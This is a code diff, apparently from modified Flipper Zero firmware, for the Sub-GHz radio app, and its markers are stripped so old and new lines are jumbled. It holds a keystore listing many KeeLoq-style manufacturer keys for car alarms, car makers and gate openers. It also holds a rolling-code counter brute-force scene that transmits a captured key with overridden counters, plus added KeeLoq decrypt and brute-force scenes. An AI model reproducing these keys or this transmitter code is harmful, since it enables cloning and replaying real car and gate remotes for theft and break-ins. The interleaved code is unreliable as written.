#define SUBGHZ_MOD_HOPPER_DWELL_TICKS 3
bool subghz_txrx_mod_hopper_get_running(SubGhzTxRx* instance) {
void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold) {
furi_assert(instance);
return instance->mod_hopper_running;
}
void subghz_txrx_mod_hopper_set_running(SubGhzTxRx* instance, bool running) {
furi_assert(instance);
instance->mod_hopper_running = running;
if(running) instance->mod_hopper_timer = SUBGHZ_MOD_HOPPER_DWELL_TICKS;
}
void subghz_txrx_mod_hopper_update(SubGhzTxRx* instance) {
furi_assert(instance);
if(!instance->mod_hopper_running) return;
if(instance->mod_hopper_timer > 0) {
instance->mod_hopper_timer--;
switch(instance->preset_hopper_state) {
case SubGhzPresetHopperStateOFF:
case SubGhzPresetHopperStatePause:
return;
case SubGhzPresetHopperStateRSSITimeOut:
if(instance->preset_hopper_timeout != 0) {
instance->preset_hopper_timeout--;
return;
}
break;
default:
break;
}
instance->mod_hopper_timer = SUBGHZ_MOD_HOPPER_DWELL_TICKS;
size_t count = subghz_setting_get_preset_count(instance->setting);
if(count == 0) return;
if(instance->preset_hopper_state != SubGhzPresetHopperStateRSSITimeOut) {
float rssi = subghz_devices_get_rssi(instance->radio_device);
// Advance index, skip CUSTOM presets
uint8_t tries = 0;
do {
instance->mod_hopper_idx = (instance->mod_hopper_idx + 1) % count;
tries++;
} while(tries < count &&
strcmp(
subghz_setting_get_preset_name(instance->setting, instance->mod_hopper_idx),
"CUSTOM") == 0);
if(rssi > stay_threshold) {
instance->preset_hopper_timeout = 20;
instance->preset_hopper_state = SubGhzPresetHopperStateRSSITimeOut;
return;
}
} else {
instance->preset_hopper_state = SubGhzPresetHopperStateRunning;
}
const char* preset_name =
subghz_setting_get_preset_name(instance->setting, instance->mod_hopper_idx);
uint8_t* preset_data =
subghz_setting_get_preset_data(instance->setting, instance->mod_hopper_idx);
size_t preset_data_size =
subghz_setting_get_preset_data_size(instance->setting, instance->mod_hopper_idx);
size_t hopper_preset_count = subghz_setting_get_hopper_preset_count(instance->setting);
subghz_txrx_set_preset(
instance, preset_name, instance->preset->frequency, preset_data, preset_data_size);
subghz_txrx_rx_start(instance);
if(hopper_preset_count > 0) {
if(instance->preset_hopper_idx < hopper_preset_count - 1) {
instance->preset_hopper_idx++;
} else {
instance->preset_hopper_idx = 0;
}
size_t actual_preset_idx = subghz_setting_get_hopper_preset_index(
instance->setting, instance->preset_hopper_idx);
if(instance->txrx_state == SubGhzTxRxStateRx) {
subghz_txrx_rx_end(instance);
}
if(instance->txrx_state == SubGhzTxRxStateIDLE) {
const char* old_preset_name = furi_string_get_cstr(instance->preset->name);
const char* preset_name =
subghz_setting_get_preset_name(instance->setting, actual_preset_idx);
subghz_txrx_set_preset_internal(
instance, instance->preset->frequency, actual_preset_idx, 0);
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
bool new_is_am = (strstr(preset_name, "AM") != NULL);
bool modulation_changed = (old_is_am != new_is_am);
if(modulation_changed) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
} else {
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
subghz_txrx_rx(instance, instance->preset->frequency);
}
} else {
size_t preset_count = subghz_setting_get_preset_count(instance->setting);
if(instance->preset_hopper_idx < preset_count - 1) {
instance->preset_hopper_idx++;
} else {
instance->preset_hopper_idx = 0;
}
if(instance->txrx_state == SubGhzTxRxStateRx) {
subghz_txrx_rx_end(instance);
}
if(instance->txrx_state == SubGhzTxRxStateIDLE) {
const char* old_preset_name = furi_string_get_cstr(instance->preset->name);
const char* preset_name =
subghz_setting_get_preset_name(instance->setting, instance->preset_hopper_idx);
subghz_txrx_set_preset_internal(
instance, instance->preset->frequency, instance->preset_hopper_idx, 0);
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
bool new_is_am = (strstr(preset_name, "AM") != NULL);
bool modulation_changed = (old_is_am != new_is_am);
if(modulation_changed) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
} else {
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
subghz_txrx_rx(instance, instance->preset->frequency);
}
}
}
SubGhzPresetHopperState subghz_txrx_preset_hopper_get_state(SubGhzTxRx* instance) {
furi_assert(instance);
return instance->preset_hopper_state;
}
void subghz_txrx_preset_hopper_set_state(SubGhzTxRx* instance, SubGhzPresetHopperState state) {
furi_assert(instance);
instance->preset_hopper_state = state;
if(state == SubGhzPresetHopperStateRunning) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
}
void subghz_txrx_preset_hopper_unpause(SubGhzTxRx* instance) {
furi_assert(instance);
if(instance->preset_hopper_state == SubGhzPresetHopperStatePause) {
instance->preset_hopper_state = SubGhzPresetHopperStateRunning;
}
}
void subghz_txrx_preset_hopper_pause(SubGhzTxRx* instance) {
furi_assert(instance);
if(instance->preset_hopper_state == SubGhzPresetHopperStateRunning) {
instance->preset_hopper_state = SubGhzPresetHopperStatePause;
}
}
void subghz_txrx_preset_hopper_reset_index(SubGhzTxRx* instance, size_t index) {
furi_assert(instance);
instance->preset_hopper_idx = index;
}
void subghz_txrx_speaker_on(SubGhzTxRx* instance) {

View File

@@ -164,29 +164,17 @@ void subghz_txrx_hopper_unpause(SubGhzTxRx* instance);
*/
void subghz_txrx_hopper_pause(SubGhzTxRx* instance);
/**
* Update modulation (preset) CC1101 in automatic mode (mod hopper)
* Cycles through available presets at a fixed dwell time.
*
* @param instance Pointer to a SubGhzTxRx
*/
void subghz_txrx_mod_hopper_update(SubGhzTxRx* instance);
void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold);
/**
* Set mod hopper running state
*
* @param instance Pointer to a SubGhzTxRx
* @param running true to enable, false to disable
*/
void subghz_txrx_mod_hopper_set_running(SubGhzTxRx* instance, bool running);
SubGhzPresetHopperState subghz_txrx_preset_hopper_get_state(SubGhzTxRx* instance);
/**
* Get mod hopper running state
*
* @param instance Pointer to a SubGhzTxRx
* @return true if mod hopping is active
*/
bool subghz_txrx_mod_hopper_get_running(SubGhzTxRx* instance);
void subghz_txrx_preset_hopper_set_state(SubGhzTxRx* instance, SubGhzPresetHopperState state);
void subghz_txrx_preset_hopper_unpause(SubGhzTxRx* instance);
void subghz_txrx_preset_hopper_pause(SubGhzTxRx* instance);
void subghz_txrx_preset_hopper_reset_index(SubGhzTxRx* instance, size_t index);
/**
* Speaker on

View File

@@ -19,9 +19,9 @@ struct SubGhzTxRx {
bool is_database_loaded;
SubGhzHopperState hopper_state;
uint8_t mod_hopper_idx; // index into setting presets (wraps around)
uint8_t mod_hopper_timer; // countdown ticks before advancing modulation
bool mod_hopper_running; // is mod hopping active
uint8_t preset_hopper_timeout;
size_t preset_hopper_idx;
SubGhzPresetHopperState preset_hopper_state;
SubGhzTxRxState txrx_state;
SubGhzSpeakerState speaker_state;

View File

@@ -29,6 +29,14 @@ typedef enum {
SubGhzHopperStateRSSITimeOut,
} SubGhzHopperState;
/** SubGhzPresetHopperState state */
typedef enum {
SubGhzPresetHopperStateOFF,
SubGhzPresetHopperStateRunning,
SubGhzPresetHopperStatePause,
SubGhzPresetHopperStateRSSITimeOut,
} SubGhzPresetHopperState;
/** SubGhzSpeakerState state */
typedef enum {
SubGhzSpeakerStateDisable,
@@ -85,6 +93,7 @@ typedef enum {
SubGhzViewIdFrequencyAnalyzer,
SubGhzViewIdReadRAW,
SubGhzViewIdPsaDecrypt,
SubGhzViewIdKeeloqDecrypt,
} SubGhzViewId;

View File

@@ -1,107 +1,108 @@
Filetype: Flipper SubGhz Keystore File
Version: 0
Encryption: 0
0000000000000000:1:Allgate_Simple
0000000023304758:6:KGB/Subaru
0000000033205748:7:Magic_2
00000000C3644917:2:VAG_Custom_Seed
0102030410203040:1:IronLogic
0123456789ABCDEF:2:Stilmatic
0132456789ABCDEF:1:Pandora_Test_Debug_2
05AEDAABAA981903:1:Rosh
08AEDAABAA981903:1:Dea_Mio
1067DC33E7D88A46:0:Leopard
12332594A9189478:1:Sheriff
1234567812345678:2:NICE_Flor_S
1234567890123456:1:Cenmax
188B0544A9B1DF14:2:Centurion
1961DAC2EB198847:2:Guard_RF-311A
1B36977B281597AC:1:Pandora_PRO
207DBBE59D386F44:2:Cardin_S449
2156EB02D8E9B977:1:Pandora_DEA
2255EA01DBEABA76:1:Pandora_GIBIDI
2354E900DAEBBB75:1:Pandora_MCODE
2453EE07DDECBC72:1:Pandora_Unknown_1
2552EF06DCEDBD73:1:Pandora_SUZUKI
2587010764070864:1:Harpoon
2626991902991902:1:Gibidi
2651EC05DFEEBE70:1:Pandora_Unknown_2
27193A9B117C0835:11:Jarolift
2739451414471820:2:Audii
2750ED04DEEFBF71:2:Pandora_NISSAN
30317B307D794471:1:KEY
314C3865304E3961:1:Novoferm
32130221685B9D8C:2:VAG_HELLA_VPM2
3519B934A4227995:1:Pandora_SUBARU
352BABACA5F4DFE0:1:Pecinin
381D7D9A2A17AE99:1:Pandora_M101
3E461AB4F76DA19B:2:Merlin
4030201004030201:1:IL-100(Smart)
4130850A82610A14:1:Pantera_CLK
414C455831393830:1:Kingates_Stylo4k
4292903083134583:2:Monarch
434144494C4C4143:2:Cadillac_GM
43485259534C4552:2:Chrysler
444145574F4F0000:2:Daewoo
4772736565734769:1:Aprimatic
484D6C6D73545253:1:NICE_MHOUSE
484F4E4441200000:2:Honda
4859554E44414920:2:Hyundai_Asia
4C6D4D7A55644F76:3:BFT
4D41474E64796E65:1:Pantera
4D49545355424953:2:Mitsubishi
4E495353414E2000:2:Nissan
535446524B453030:13:KIAV5
53555A554B490000:2:Suzuki
53696C7669618C14:5:FAAC_SLH
54365CB7676284F9:1:Alligator_S-275
544F594F54410000:2:Toyota
54524D534543494E:1:NICE_Smilo
5504045708301203:1:SL_A6-A9/Tomahawk_9010
572768229476CAFF:2:Motorline
638664A880AA23FC:11:KIAV6A
6408076407018725:1:Tomahawk_TZ-9030
66B446B980AC752B:1:Cenmax_St-7
67732C5056334627:1:Pantera_XS/Jaguar
685B9D8C5A130221:2:VAG_HELLA_VPM
68732C5056334728:1:APS-1100_APS-2550
6912FA557DC2418A:0:Reff
6B8E6CA088A22BF4:12:KIAV6B
6D69736572657265:2:BFT_Miserere
6EB6AE4815C63ED2:9:Beninca_ARC
6F5E4D3B2AABCDEF:1:Tomahawk_Z,X_3-5
7BCBEED4376EDCBF:2:Sommer
7EAF1E9A392B19B9:1:Pandora_PRO2
8455F43584941223:1:DoorHan
8607427861394E30:2:EcoStar
8765432187654321:2:Sommer_FM_868
89146E59537903B7:1:JCM_Tech
8A326438B62287F5:0:Faraon
8BC9E46704700800:1:Vag
96638C36C99C2C9B:1:Came_Space
9804655AA5000000:8:Magic_4
9BF7F89BF8FE78DA:1:SL_A2-A4
9C61FD3A47B8E25C:2:Elmes_Poland
9DA08153CF312BA7:1:Normstahl
A8F5DFFC8DAA5CDB:10:KIA
A9748532B7655297:2:GSN
AA38A7A32189B5A1:0:Mutanco_Mutancode
AAFBFBA8F7CFEDFC:1:Cenmax_St-5
AC35BB2759000000:8:Magic_3
AD3C12A17028F11E:1:Partisan_RX
B3E5625A8CCD7139:2:Steelmate
B51526E8F126D1D7:0:Teco
B51A7AAB27351596:0:ZX-730-750-1055
BBEE9EDDAAF97ECC:1:Jolly_Motors
CEB6AE48B5C63ED2:4:Beninca
D5A5E7B2A7C1A0BA:2:Mongoose
E5D2C83529C113E6:2:VAG_HELLA_PWM
EEF3D4B2626C5578:1:Alligator
F1A3E552C8647E55:2:Comunello
F250006EF29E030E:2:Vauweh
F6E5D4B32ABADCFE:1:SL_B6,B9_dop
FAAC05600001FAAC:2:FAAC_RC,XT
FAAC05600002FAAC:2:Genius_Bravo
FADA12FADA34F0DA:1:Rossi
FC4DE22CD5370320:1:DTM_Neo
FEDCBA9876543210:2:Came_Tam
Encryption: 1
IV: 41 52 46 5F 54 68 65 5F 46 69 72 6D 77 61 72 65
1F55E94BD99C5FCA4E8CD620CB2F014854B25B5A5AC7633F7B8C2CE3993328A7A275ED382F23319461EC7B2E2BC450AC
71DF40F4D16CF30DC5223ED59B395704BC67271E3058CB09D7F5D9CEE1C04852
250208FB825F12A07A8C3F295C3B5FA69F52F2C9CA80452FDD1AEFC5A25F24DC
9D6D26F67532E91FE89476A9E754A60DF8ECE7B92CD1772A7AD3190FCABF06414C0A3762E0012D102798EE204A5549EC
0DCC0382D81B9D3E291FDEDDC697E2841D88A326D2869BA29F248D5DA4C96110
F84B5EB3BB882F76E0264A5A1791EDAC8A1CA35E7579EA4D247E473EB1F8F4C1
F8A4AFFF527E13643AC511900CF1764408691F60ABD1373E6AFE477E9967FD7F57E3CE41AE4700722DFA383BC64E9669
265C0060DE53B95EF07EE3E00045A6D03C89FE1D89F90EA3A2AFBFDB4A4636D6
DA1EBA6372C50D2072AC38CAACA3B023DEFDAE50987E764BEDA1E9FE53390CBA
1C0378D5294FC62DCD95A385B3AD2E6FACC13D9AAC37EF7BCE4341E33876BCE8
68AA58FB1DCDC05E56E0685DC57661333F66D890C6377771327DFB5EBEDA6AE1
E647CDE269D1DC5F404830C30B3CE38D8C0B6E928DB4E8863523799E51977B2B
AB40C8B0815B04C84BA1B1ACFFC93F20FE7F60F64AAE6E6AD4562415E6EFC049
DCD258016EB06D81DFC494261017E9DF36601076970EA09B008EEA43DA0E68EE
321F568C032B4C8B0B392A868ECC0D87EC9969E328FA35BBE9656701C77C35A8
E14A72B0B0689AA7E08A6081E56A00862A34808D77111DE804DDFA39FFCF6782
FF2573046D35FAA029BF0871A2D3216029B66927CECF527C72F192E06E13C3DC
FF890BCB54AD911EE78345FCC4F2DA65B653D68C7F6774C74DC998A2295F4916
8D1D92B53C1DD31BE8E1759640471793EFA8E987A4EDEE64A6DF658F2F67C136F5EFC0E895493BC02DB11B783E04DF84
20FD4B91D4169332B3CCCBDAB4FA5C730F37FF16A283ADBA6EA9D80F5D9C9F26
7B710488CFE33CE2EDDD37A3E864A517F7309FB097F8959497A5AD42B0E5C8AC2BA7AC6CD6B0BFCDEF5C88F4A995F20C
00D242BF328330A11124C423779CC73379BB80B8071CEFB8F413ED3C9A11BB1F7D4B3B22CA0AC10A74A68887E0994259
5BA325DD503C710D0BC153C50A2CC4F621AB6AE87E9CBBCD2996ED1B2FA1A854
731724428F104BB5697E7705B3E0834B41202A9F2D49C90C4889DDDB21F5AC3E
A22BAAB3818146B7B099CD3D65634F7CEBAD36015E7A5A16206ADFBD51988E038F2F62D273CA65CC592AF7DEB805510A
8DD12F73EF956047011A61C212986775D2A41F98E629DD78C6FA70C0E2634ECA
25D57BF539C51295524A53E5EF633547C54CB3D9A8072D9CAD897CEBD2AED3B3
C54BA9B2D4C6DFDC639E2964316D5311B2A039631880D5F4986E38D63976E28EABFF01B643EFC853DFB8E2E1622A7674
7A4062817B4848748A66AB34F9A4DA942BB3FE82CE1E264A12297FB7C6CF68B4
65DC6DC85C44CF8D04F7B786C16D30F9BB12C7AE80B68612464021CAAEB196AD
DD1F98CF4AF384B2412A786614C16109ED8FF9E842DCFF8E859B1D27BF1E08AD4C31793D1A6E07F8BCC7E5E0BCD4DF3B
C0FF96999B5AC49EDCDFF82A51968F2A985D240A2AC91178C02B34DDD5F2EE77DA0804D9E47470889DC8FC8BA01B2C11
51BAEBB4763C7E2A57C638ED824D83C73FB5E3E128992BBAAB7690CED5B40310
947F12090F89793CE465816679654F5E6397E3A15D726DF86A6023E6E8ABB065
B70CC56D0AF6F8E04E63031BBCB02EED4DB59A80B81FD4F67B8B61DFA57A0D51
C3DC0E9717759C36DFBDA6CCDD146B54C5F1A52A3C3802ADE9D2303BD179F5CE
5728832CD50226018ADD6A4736866EE4E932616C1CE74D67E2CE00D1427CBD96
222A41966802B8607EF496D898D5BCA41BD9D891552F53FD809C81C487EBB8C25DB6CA656AFF45D5911BE9B10BADBDF5
E171BE8EEC7773BB6AC1EC6B8AD13696267770931E4D72ADEB6A519A085F4EAF
29FA68F7BB01E55AA738A68866F674CF34873E6109C328D4654FF3CCAE7D3C73
E6791ABDD092843AE7A9B3A936B1AA77B812FF16CEA352F7972F132480AA4561
701A4DCFF6C7A56D9DAC77F071220F7C28B8206BB5F3213F5761C8ED6DABEDC6
AA4678E9AF3FE65F9B8E90A5CC95034CF510F1BD2C26DC89200CDAF3E15A9990
A13B1578F6A2241830208014AD3E864CB0AA442AFF02952F3C2FCCC4F33140B2
7C08CEC7BD2CC73EC9C436D32BB692E9020B9E043CF5F428705097F0AB141DEF
8F39C7668AD33A2F66E5451E07CDF87D4B44FC962DEDE7D68365EA8E729A058E
67F6C50C2D1BDEF471913E405A182D91040D4F4160484ED8762037F7F2EE8EBA
4DF3627B7F42226780EB3C247F18C1F37CD25AA22C120F69B732A1FAC9D02C8A
2A277456C8BA44CDC5A44D4353B9FA04D3F45743DB04B1E659F7DB4A8219672E
1E749351CBE258D2B8710B48FF9D3F4034244C7CAEA25C93FA4A2E04E2F4CB59
AEEA5813C69800830540B6768FCD0EF35A43FA58F6A8315AE06545A6103112D1
5A773FDCBABB5C9ADAD19B356D0300D5A5E905E6FEDED53D209A9BE2853C5BD8
F7C5AA9B29EB56D16610B560F65E99E78DCFE9463E6347E9477F387AC5756B05
59AF0DCF53E422B553B250F9131E365D9265ACA04C1763CEA379459D8E2D2026E4C6523DBEC8CFA9D2C287C7AB6F8719
CC11C8105B3643EAF8F935EE3E5408181CD7A41011EDF11F37D8BE45A70CB5A2
0B71155A1BFE1A61D1C6122EC9961CF97BF34C188AEEA1FCBDA8A56631180926
C4EA8825FB1030BDFCAD7A991F3CC7D65CA4300E1ABA4C53EB7287CF33031286E699217258B9CECCF99412915C50A579
A38F7B2D60ECD413609AF9A02924D50591FB07C2EF95B8512569E48D613855F0
6EBF32A7D2070E13A7EB01CB3CB3C62A2173DD56AC3627320B54E3D3211BCBC2
CCD92DEBB91582B72DC921F8675002399299C243C6AE9BADFE3EEB1BCC79512C3FEA1A83393F795AC6E0546B3FFAE364
491AD804382AA360C866082778A8ABA358FF9586A955BD5A9FD28FDF0B05744B
9D6D8647BC32B0A4EE08F2D361B13037BA596402E6BEB4ED9D3D582F5552C89B9D96CD6836DF15E55251ED39E5D0E8C4
BE92434BC3F646A192146500D150462E8FDFADB93E0DC8C1BE1B2F9E4B3A762B
7FA5E6D202BE57AA4DAFE94090FA8F84D483C3A6DEFD7EDF69D0F9972F55212EEBA83C847A8374059280AEDB24BA11BC
B6CDA34C4E8DFE3E509A22DC89B67E9706A980198D3FC522362B59647D79DBEA
BEED72A8B1DFBABF59D58D8EA98385BF706BDF403E3F84702D0BF5D87E0FAEBC
B049623264E92A557F1F6B04546D0D73889BF732ACE3109583CD52E226D8C2BC
91881B87503555F8A82E3E4314C1276F636BD5F2BB451FF1E131CB8CD0E089BF
AEA6163792A3B2D587F9270752F9D744849621E8A4DF9B5B82DFF06297DA828D4A95DD8E71267E560BFEB6C2EDB06F2A
98CEA896C163DBE5C9839CAE6E09DF46EE9AEC8A8978C5B018DB80E1081E01A3
27759BD9760153C94F982ADD85DA3F7FDD51EF17B3791968417ACDEBEBE59F9C
716574AB5E60E65600B86A66F6C8A6536FB97792D5B9A5EDE477D5B623F118B1
740FD62AFEF9D781976A5C01D8041B00A0D69DE56F1FAE030CC680D0D81793CB
9BFF7A62569BA492B586CA27B2A87F96861F5564696AD3F779A58C09955A6342
9BBF2793C0326BD03BA66A59BE65977C68225E26A55AAA6B56AC4F1D21B795DB
B8D4A1B5134B09C81B586A8ADDFA6292DE50CA84D0FAA9448D610C68129FD9CD
46827F0D09BEBFF241B4615EF4F9E5ADDB559EB87F4FC15A2AC58816969E186A
B090E1924CEF93ADC559E876CC71D174A43FE7ECB0FA2A7D748BD51E9B4D9780
8E8BFD7D356C101EB4998068767D9C259BE6C86A3BCE682C7BC05A8E6B32E106
8E57374694C5EB4A928B5BC25AD17ED2A0FF9563ADFEE22DA5C5CB15896C8C08
F4DF5C45823C2F3C590D6D962D0B46CB7442CFE1CE9930159E03C6D1B99A728E
72B3D5150BD2BFF2411DC4C85673D29B22649FA2F7CD4309C2C3BEB834D44CF8
51E14868A82570D2736DB6BDA6ADF110ABABC3982A1CD3F3107C9A4774DA2C49
7AFC1EA6CFAD93CBD16D7C6783E425378405F4E45A1F4757C5703513B693B069
944DD7315336FF24EC1D08211FF22DE40669C2D3F5D1F8C6907E6E0DD0F3024B9C536D32C4D4D1B05C0DA2AF139156BC
F78DB3774E964AF6EA61A0E6CB6FA311A63777DD6C82E83CF1508A4845AD995A
ADE6563483B98ABBA28FCC0AC6A6D046EBA57C28C9274938E47D07F78B3256B9
717C322142EAD4B0160D208CAB0EC6062A79D4CE917C805757A8812E7E1BE2B4
C6647C1643449A8E0A99F42AF0467376318FECE96EB11297EA6EC979CD50335B
CAFDBBCA3A8DCE026E6C131435656FA5B2FE2AB7340D227D37C7318C498B3F0C
F546BFA436AC20207F604E7634B6B30BBA4AA8047E7E72041FF023E9BFCA8D48219740033478EE52FC2CA9ED69F6B1AF
E54DE969B061414A725483E3455923112462408DD43D221E7651F245DD9AECAA
5E8A5BB037F8F6FF326190B9A3E6D5D0ED268D2F6EA77DAAE3E6FC2FC60AE46E
5E4457C2A8CD8A9EC4EB16F674775D2F27AD91E7D0ED4A58E42F0C8FB2195F52
E802E4FD33685950082F2CC510B5BD5D394FAADF7B88107F8C6BD1B30EFA5951
A8C339432E43C41206417FE5C5341B6063D011EC682914247939000741A4325E
97A26AAA3AA268F2271563B10173228C9CE67DE0872E7D6088B40D2B43599AA0
452F34AA2ACB42D23BF801CBC2B9956C3DFED71B34672BA0D09D20CBC5B6AE5E
AD473E39707EFECEC634A84099CF8BB05B9307390EAABFDF54901936E265F9EC
E946D1047A519101DB2B4FA48939049E869D43E54AD34A2E314E67BA86D4D577
7FCE70BF03798364ECD144909FB344FFC3C66A34AE5CBC230D970423A5412ED0
0BF57416D2600E332F14737333A7FB7D8327B96B98F217B620B3080F61F2DFEB
8D77033A47064B6D304C29E61FD3497CECE0CB0BE1305A0A5C418479FA142CA7
ACDA2BB920997BF6BAA1BFFD1300BCDCE0117C81DBFAA986A2DD9820287D853E

View File

@@ -40,3 +40,8 @@ Version: 1
#Custom_preset_name: AM_2
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
# Presets used for preset hopping mode (cycles through these modulations)
#Hopping_Preset: AM650
#Hopping_Preset: FM238
#Hopping_Preset: FM476

View File

@@ -30,4 +30,7 @@ ADD_SCENE(subghz, protocol_list, ProtocolList)
ADD_SCENE(subghz, keeloq_keys, KeeloqKeys)
ADD_SCENE(subghz, keeloq_key_edit, KeeloqKeyEdit)
ADD_SCENE(subghz, psa_decrypt, PsaDecrypt)
ADD_SCENE(subghz, keeloq_decrypt, KeeloqDecrypt)
ADD_SCENE(subghz, keeloq_bf2, KeeloqBf2)
ADD_SCENE(subghz, kl_bf_cleanup, KlBfCleanup)
ADD_SCENE(subghz, counter_bf, CounterBf)

View File

@@ -5,9 +5,10 @@
#define TAG "SubGhzCounterBf"
// How many ticks to wait between transmissions (1 tick ~100ms)
#define COUNTER_BF_TX_INTERVAL_TICKS 3
#define COUNTER_BF_TX_INTERVAL_TICKS 5
typedef enum {
CounterBfStateWarning,
CounterBfStateIdle,
CounterBfStateRunning,
CounterBfStateStopped,
@@ -19,54 +20,97 @@ typedef struct {
uint32_t step;
CounterBfState state;
uint32_t packets_sent;
uint32_t tick_wait; // ticks remaining before next TX
uint32_t tick_wait;
} CounterBfContext;
#define CounterBfEventStart (0xC0)
#define CounterBfEventStop (0xC1)
#define CounterBfEventStart (0xC0)
#define CounterBfEventStop (0xC1)
#define CounterBfEventWarningOk (0xC2)
static void counter_bf_warning_callback(GuiButtonType result, InputType type, void* context) {
SubGhz* subghz = context;
if(result == GuiButtonTypeCenter && type == InputTypeShort) {
view_dispatcher_send_custom_event(subghz->view_dispatcher, CounterBfEventWarningOk);
}
}
static void counter_bf_widget_callback(GuiButtonType result, InputType type, void* context) {
SubGhz* subghz = context;
// Single press toggles start/stop
if(result == GuiButtonTypeCenter && type == InputTypeShort) {
view_dispatcher_send_custom_event(subghz->view_dispatcher, CounterBfEventStart);
}
}
static void counter_bf_draw_warning(SubGhz* subghz) {
widget_reset(subghz->widget);
widget_add_string_multiline_element(
subghz->widget,
64,
20,
AlignCenter,
AlignCenter,
FontSecondary,
"WARNING:\nThis may desync\nyour fob!");
widget_add_button_element(
subghz->widget,
GuiButtonTypeCenter,
"OK",
counter_bf_warning_callback,
subghz);
}
static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
widget_reset(subghz->widget);
FuriString* str = furi_string_alloc();
furi_string_printf(str,
furi_string_printf(
str,
"Counter BruteForce\n"
"Cnt: 0x%08lX\n"
"Sent: %lu pkts\n"
"Start: 0x%08lX",
ctx->current_cnt,
ctx->packets_sent,
ctx->start_cnt);
"Cnt: 0x%06lX\n"
"Start: 0x%06lX\n"
"Sent: %lu",
ctx->current_cnt & 0xFFFFFF,
ctx->start_cnt & 0xFFFFFF,
ctx->packets_sent);
widget_add_string_multiline_element(
subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary,
furi_string_get_cstr(str));
subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary, furi_string_get_cstr(str));
furi_string_free(str);
const char* btn_label = ctx->state == CounterBfStateRunning ? "Stop" : "Start";
widget_add_button_element(
subghz->widget, GuiButtonTypeCenter, btn_label,
counter_bf_widget_callback, subghz);
subghz->widget,
GuiButtonTypeCenter,
btn_label,
counter_bf_widget_callback,
subghz);
}
static void counter_bf_save(SubGhz* subghz, CounterBfContext* ctx) {
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
if(flipper_format_buffered_file_open_existing(
file_fff, furi_string_get_cstr(subghz->file_path))) {
uint32_t cnt = ctx->current_cnt & 0xFFFFFF;
if(!flipper_format_update_uint32(file_fff, "Cnt", &cnt, 1)) {
FURI_LOG_E(TAG, "Failed to update Cnt in .sub file");
}
} else {
FURI_LOG_E(TAG, "Failed to open .sub file for Cnt write");
}
flipper_format_free(file_fff);
furi_record_close(RECORD_STORAGE);
}
static void counter_bf_send(SubGhz* subghz, CounterBfContext* ctx) {
// Stop any previous TX
subghz_txrx_stop(subghz->txrx);
// Use official counter override mechanism
subghz_block_generic_global_counter_override_set(ctx->current_cnt);
// Increase repeat for stronger signal
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint32_t repeat = 20;
flipper_format_insert_or_update_uint32(fff, "Repeat", &repeat, 1);
uint32_t delta = (ctx->current_cnt - ctx->start_cnt) & 0xFFFFFF;
furi_hal_subghz_set_rolling_counter_mult((int32_t)delta);
subghz_block_generic_global_counter_override_set(ctx->current_cnt & 0xFFFFFF);
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
uint32_t repeat = 20;
flipper_format_rewind(fff);
flipper_format_update_uint32(fff, "Repeat", &repeat, 1);
subghz_block_generic_global.endless_tx = false;
subghz_tx_start(subghz, fff);
ctx->packets_sent++;
@@ -78,26 +122,38 @@ void subghz_scene_counter_bf_on_enter(void* context) {
CounterBfContext* ctx = malloc(sizeof(CounterBfContext));
memset(ctx, 0, sizeof(CounterBfContext));
ctx->state = CounterBfStateIdle;
ctx->state = CounterBfStateWarning;
ctx->step = 1;
furi_hal_subghz_set_rolling_counter_mult(0);
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
uint32_t cnt = 0;
flipper_format_rewind(fff);
flipper_format_read_uint32(fff, "Cnt", &cnt, 1);
ctx->current_cnt = cnt;
ctx->start_cnt = cnt;
{
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint32_t cnt = 0;
if(flipper_format_read_uint32(fff, "Cnt", &cnt, 1)) {
ctx->current_cnt = cnt & 0xFFFFFF;
ctx->start_cnt = cnt & 0xFFFFFF;
} else {
FURI_LOG_W(TAG, "Cnt not in fff after key_load, reading from disk");
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
if(flipper_format_buffered_file_open_existing(
file_fff, furi_string_get_cstr(subghz->file_path))) {
if(flipper_format_read_uint32(file_fff, "Cnt", &cnt, 1)) {
ctx->current_cnt = cnt & 0xFFFFFF;
ctx->start_cnt = cnt & 0xFFFFFF;
}
}
flipper_format_free(file_fff);
furi_record_close(RECORD_STORAGE);
}
}
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneCounterBf, (uint32_t)(uintptr_t)ctx);
// Disable auto-increment
furi_hal_subghz_set_rolling_counter_mult(0);
// Reload protocol to ensure preset and tx_power are properly configured
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
counter_bf_draw(subghz, ctx);
counter_bf_draw_warning(subghz);
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget);
}
@@ -108,18 +164,25 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
if(!ctx) return false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == CounterBfEventWarningOk) {
